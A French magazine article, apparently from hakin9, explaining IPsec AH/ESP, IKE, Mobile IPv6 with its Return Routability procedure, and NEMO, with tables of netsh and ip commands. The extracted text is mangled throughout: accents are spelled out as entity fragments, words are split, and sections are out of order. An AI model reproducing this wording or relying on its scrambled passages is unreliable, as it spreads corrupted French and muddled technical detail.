Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

